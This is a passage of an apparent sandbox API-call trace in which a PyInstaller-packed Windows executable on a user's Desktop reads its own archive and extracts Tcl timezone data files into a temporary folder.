"c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.878] GetFileType (hFile=0x10c) returned 0x1 [0042.878] htonl (hostlong=0x5cd05c00) returned 0x5cd05c [0042.878] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61805c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.878] htonl (hostlong=0x83000000) returned 0x83 [0042.878] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x83) returned 0x55cfe0 [0042.878] htonl (hostlong=0x83000000) returned 0x83 [0042.878] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.879] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.879] htonl (hostlong=0xa5000000) returned 0xa5 [0042.879] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa5) returned 0x5446d0 [0042.879] htonl (hostlong=0x83000000) returned 0x83 [0042.879] htonl (hostlong=0xa5000000) returned 0xa5 [0042.879] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.879] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.879] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.879] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.879] CloseHandle (hObject=0x10c) returned 1 [0042.879] GetLastError () returned 0x0 [0042.879] SetLastError (dwErrCode=0x0) [0042.879] GetLastError () returned 0x0 [0042.879] SetLastError (dwErrCode=0x0) [0042.879] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.880] GetFileType (hFile=0x10c) returned 0x1 [0042.880] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.880] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.880] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.880] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.880] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.880] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.880] CloseHandle (hObject=0x10c) returned 1 [0042.880] GetLastError () returned 0x0 [0042.880] SetLastError (dwErrCode=0x0) [0042.880] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.880] GetFileType (hFile=0x10c) returned 0x1 [0042.880] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.880] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.880] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.880] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.881] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.881] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.881] CloseHandle (hObject=0x10c) returned 1 [0042.881] GetLastError () returned 0x0 [0042.881] SetLastError (dwErrCode=0x0) [0042.881] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GB") returned 59 [0042.881] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\gb"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.881] GetLastError () returned 0x2 [0042.881] SetLastError (dwErrCode=0x2) [0042.881] GetLastError () returned 0x2 [0042.881] SetLastError (dwErrCode=0x2) [0042.881] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GB", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GB", lpFilePart=0x0) returned 0x3a [0042.881] GetLastError () returned 0x2 [0042.881] SetLastError (dwErrCode=0x2) [0042.881] GetLastError () returned 0x2 [0042.881] SetLastError (dwErrCode=0x2) [0042.881] GetLastError () returned 0x2 [0042.881] SetLastError (dwErrCode=0x2) [0042.881] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GB") returned 59 [0042.881] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.881] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\gb"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.885] GetFileType (hFile=0x10c) returned 0x1 [0042.885] htonl (hostlong=0xa5000000) returned 0xa5 [0042.885] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.885] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa5, lpOverlapped=0x0) returned 1 [0042.886] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.886] CloseHandle (hObject=0x10c) returned 1 [0042.886] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5446d0 | out: hHeap=0x530000) returned 1 [0042.886] htonl (hostlong=0x20000000) returned 0x20 [0042.886] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.886] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.886] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.886] GetFileType (hFile=0x10c) returned 0x1 [0042.886] htonl (hostlong=0xdfd05c00) returned 0x5cd0df [0042.886] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6180df, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.886] htonl (hostlong=0x87000000) returned 0x87 [0042.886] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0042.886] htonl (hostlong=0x87000000) returned 0x87 [0042.886] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.887] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.887] htonl (hostlong=0xaa000000) returned 0xaa [0042.887] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaa) returned 0x550600 [0042.887] htonl (hostlong=0x87000000) returned 0x87 [0042.887] htonl (hostlong=0xaa000000) returned 0xaa [0042.887] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.887] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.887] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.887] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.887] CloseHandle (hObject=0x10c) returned 1 [0042.887] GetLastError () returned 0x0 [0042.887] SetLastError (dwErrCode=0x0) [0042.887] GetLastError () returned 0x0 [0042.887] SetLastError (dwErrCode=0x0) [0042.887] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.887] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.887] GetFileType (hFile=0x10c) returned 0x1 [0042.887] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.887] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.887] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.887] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.887] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.887] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.887] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.887] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.887] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.887] CloseHandle (hObject=0x10c) returned 1 [0042.888] GetLastError () returned 0x0 [0042.888] SetLastError (dwErrCode=0x0) [0042.888] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.888] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.888] GetFileType (hFile=0x10c) returned 0x1 [0042.888] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.888] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.888] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.888] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.888] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.888] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.888] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.888] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.888] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.888] CloseHandle (hObject=0x10c) returned 1 [0042.888] GetLastError () returned 0x0 [0042.888] SetLastError (dwErrCode=0x0) [0042.889] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GB-Eire") returned 64 [0042.889] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GB-Eire" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\gb-eire"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.889] GetLastError () returned 0x2 [0042.889] SetLastError (dwErrCode=0x2) [0042.889] GetLastError () returned 0x2 [0042.889] SetLastError (dwErrCode=0x2) [0042.889] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GB-Eire", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GB-Eire", lpFilePart=0x0) returned 0x3f [0042.889] GetLastError () returned 0x2 [0042.889] SetLastError (dwErrCode=0x2) [0042.889] GetLastError () returned 0x2 [0042.889] SetLastError (dwErrCode=0x2) [0042.889] GetLastError () returned 0x2 [0042.889] SetLastError (dwErrCode=0x2) [0042.889] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GB-Eire") returned 64 [0042.889] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.889] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\GB-Eire" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\gb-eire"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.889] GetFileType (hFile=0x10c) returned 0x1 [0042.889] htonl (hostlong=0xaa000000) returned 0xaa [0042.889] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.889] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xaa, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xaa, lpOverlapped=0x0) returned 1 [0042.890] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.890] CloseHandle (hObject=0x10c) returned 1 [0042.890] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.890] htonl (hostlong=0x30000000) returned 0x30 [0042.890] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.890] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.891] GetFileType (hFile=0x10c) returned 0x1 [0042.891] htonl (hostlong=0x66d15c00) returned 0x5cd166 [0042.891] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618166, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.891] htonl (hostlong=0x7d000000) returned 0x7d [0042.891] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7d) returned 0x55cfe0 [0042.891] htonl (hostlong=0x7d000000) returned 0x7d [0042.891] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.891] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.891] htonl (hostlong=0x94000000) returned 0x94 [0042.891] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x94) returned 0x550600 [0042.891] htonl (hostlong=0x7d000000) returned 0x7d [0042.891] htonl (hostlong=0x94000000) returned 0x94 [0042.891] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.891] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.891] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.891] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.891] CloseHandle (hObject=0x10c) returned 1 [0042.891] GetLastError () returned 0x0 [0042.891] SetLastError (dwErrCode=0x0) [0042.891] GetLastError () returned 0x0 [0042.891] SetLastError (dwErrCode=0x0) [0042.891] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.891] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.891] GetFileType (hFile=0x10c) returned 0x1 [0042.891] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.891] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.892] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.892] CloseHandle (hObject=0x10c) returned 1 [0042.892] GetLastError () returned 0x0 [0042.892] SetLastError (dwErrCode=0x0) [0042.892] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.892] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.892] GetFileType (hFile=0x10c) returned 0x1 [0042.892] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.892] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.892] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.892] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 